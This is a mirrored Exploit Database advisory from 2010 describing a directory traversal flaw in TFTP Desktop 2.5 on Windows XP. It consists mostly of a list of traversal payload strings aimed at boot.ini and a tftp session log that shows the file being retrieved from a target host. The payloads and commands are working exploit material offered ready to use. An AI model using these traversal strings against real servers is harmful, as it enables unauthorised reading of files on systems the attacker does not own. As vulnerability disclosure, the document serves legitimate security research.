tftp desktop 2.5 – Directory Traversal

• Exploit Database
• 110 阅读

• 作者： chr1x
  日期： 2010-09-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14857/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69

  +------------------------------------------------------------------------+ | .......| | ..&apos;&apos;xxxxxxxxxxxxxxx&apos;...| |..&apos;xxxxxxxxxxxxxxxxxxxxxxxxxxx..| | ..&apos;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&apos;. | | .&apos;xxxxxxxxxxxxxxxxxxxxxxxxxxxx&apos;&apos;&apos;.......&apos;. | | .&apos;xxxxxxxxxxxxxxxxxxxxx&apos;&apos;........... | |.xxxxxxxxxxxxxxxxxx&apos;... .........&apos;. | | &apos;xxxxxxxxxxxxxxx&apos;......&apos;.| |&apos;xxxxxxxxxxxxxx&apos;..&apos;x...x. | | .xxxxxxxxxxxx&apos;...&apos;..... .&apos; | | &apos;xxxxxxxxx&apos;......x.| | xxxxxxx&apos;...x.| | xxxx&apos;.....xx.| | &apos;x&apos;....&apos;xxxxxxx&apos;. x .x.| | .x&apos;. .&apos;xxxxxxxxxxxxxx. &apos;&apos; .&apos; | |.xx..&apos;xxxxxxxxxxxxxxxx. .&apos;xx&apos;&apos;&apos;..&apos;| | .xx..&apos;xxxxxxxxxxxxxxxx&apos;.&apos;xxxxxxxxx&apos;&apos;.| |.&apos;xx&apos;..&apos;xxxxxxxxxxxxxxx...&apos;xxxxxxxxxxxx&apos;| |.xxx&apos;..xxxxxxxxxxxx&apos;..&apos;xxxxxxxxxxxxxx&apos;. | |.xxxx&apos;.&apos;xxxxxxxxx&apos;.xxx&apos;xxxxxxxxxx&apos;. | |.&apos;xxxxxxx&apos;.......xxxxxxx&apos;.| | ..&apos;xxxxx&apos;.. ..xxxxx&apos;.. | |....&apos;xx&apos;.....&apos;&apos;&apos;&apos;...| || |CubilFelino Security Research Labs| |proudly presents... | +------------------------------------------------------------------------+     Author: chr1x (chr1x@sectester.net) Date: August 30, 2010 Affected operating system/software, including full version details TFTP Desktop version 2.5, Tested on Windows XP PRO SP3 Download: http://www.mynet2.com/soft/Software%20Archive/TFTP%20Server/tftp_desktop_free.exe   How the vulnerability can be reproduced   Attack strings below:   [*] Testing Path: .../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: .../.../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: .../.../.../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: .../.../.../.../.../.../.../.../boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\...\boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\...\...\boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\...\...\...\boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\...\...\...\...\boot.ini<- Vulnerable string!! [*] Testing Path: ...\...\...\...\...\...\...\...\boot.ini<- Vulnerable string!!   Confirmation log:   root@olovely:/# tftp tftp> connect (to) 192.168.1.53 tftp> ascii tftp> get (files) .../.../.../.../.../.../boot.ini Received 211 bytes in 0.0 seconds tftp> quit   What impact the vulnerability has on the vulnerable system   * High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.